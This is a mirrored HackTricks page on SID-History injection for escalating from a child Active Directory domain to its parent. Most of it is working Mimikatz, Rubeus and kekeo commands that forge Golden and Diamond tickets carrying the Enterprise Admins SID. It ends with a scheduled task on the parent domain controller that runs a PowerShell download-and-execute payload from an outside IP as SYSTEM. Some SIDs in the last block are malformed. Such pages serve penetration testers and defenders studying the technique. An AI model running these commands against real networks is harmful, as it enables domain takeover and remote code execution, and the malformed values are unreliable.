mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
99 lines
5.8 KiB
Markdown
99 lines
5.8 KiB
Markdown
|
# SID-History Injection
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|||
|
|
|||
|
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|||
|
|
|||
|
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|||
|
|
|||
|
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|||
|
|
|||
|
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|||
|
|
|||
|
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|||
|
|
|||
|
</details>
|
|||
|
|
|||
|
SID History was designed to support migration scenarios, where a user would be moved from one domain to another. To preserve access to resources in the "old" domain, the **user's previous SID would be added to the SID History** of their new account. So when creating such a ticket, the SID of a privileged group (EAs, DAs, etc) in the parent domain can be added that will **grant access to all resources in the parent**.
|
|||
|
|
|||
|
This can be achieved using either a [**Golden**](sid-history-injection.md#golden-ticket) or [**Diamond Ticket**](sid-history-injection.md#diamond-ticket).
|
|||
|
|
|||
|
For finding the **SID** of the **"Enterprise Admins"** group you can find the **SID** of the **root domain** and set it in `S-1-5-21-<root domain>-519`. For example, from root domain SID `S-1-5-21-280534878-1496970234-700767426` the "Enterprise Admins"group SID is `S-1-5-21-280534878-1496970234-700767426-519`
|
|||
|
|
|||
|
Another way yo find the SID of a group of the other domain (for example "Domain Admins") is with:
|
|||
|
|
|||
|
```powershell
|
|||
|
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
|
|||
|
```
|
|||
|
|
|||
|
#### Golden Ticket
|
|||
|
|
|||
|
```powershell
|
|||
|
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:7ef5be456dc8d7450fb8f5f7348746c5 /service:krbtgt /target:moneycorp.local /ticket:C:\AD\Tools\kekeo_old\trust_tkt.kirbi"'
|
|||
|
# /domain:<Current domain>
|
|||
|
# /sid:<SID of current domain>
|
|||
|
# /sids:<SID of the Enterprise Admins group of the parent domain>
|
|||
|
# /rc4:<Trusted key>
|
|||
|
# /aer256:<AES hash> - This or /rc4
|
|||
|
# /user:Administrator
|
|||
|
# /service:<target service>
|
|||
|
# /target:<Other domain>
|
|||
|
# /ticket:C:\path\save\ticket.kirbi
|
|||
|
|
|||
|
# Mimikatz example using aes and different TGT timings for opsec
|
|||
|
kerberos::golden /user:Administrator /domain:current.domain.io /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-1874506631-3219952063-538504511-512 /aes256:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /startoffset:-10 /endin:600 /renewmax:10080 /ticket:doamin.kirbi
|
|||
|
```
|
|||
|
|
|||
|
For more info about golden tickets check:
|
|||
|
|
|||
|
{% content-ref url="golden-ticket.md" %}
|
|||
|
[golden-ticket.md](golden-ticket.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
#### Diamond Ticket
|
|||
|
|
|||
|
```powershell
|
|||
|
# Use the /sids param
|
|||
|
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
|
|||
|
```
|
|||
|
|
|||
|
For more info about diamond tickets check:
|
|||
|
|
|||
|
{% content-ref url="diamond-ticket.md" %}
|
|||
|
[diamond-ticket.md](diamond-ticket.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
```bash
|
|||
|
.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
|
|||
|
.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
|
|||
|
ls \\mcorp-dc.moneycorp.local\c$
|
|||
|
```
|
|||
|
|
|||
|
Escalate to DA of root or Enterprise admin using the KRBTGT hash of the compromised domain:
|
|||
|
|
|||
|
```bash
|
|||
|
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
|
|||
|
Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'
|
|||
|
gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local
|
|||
|
schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
|
|||
|
schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
|
|||
|
```
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|||
|
|
|||
|
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|||
|
|
|||
|
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|||
|
|
|||
|
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|||
|
|
|||
|
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|||
|
|
|||
|
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|||
|
|
|||
|
</details>
|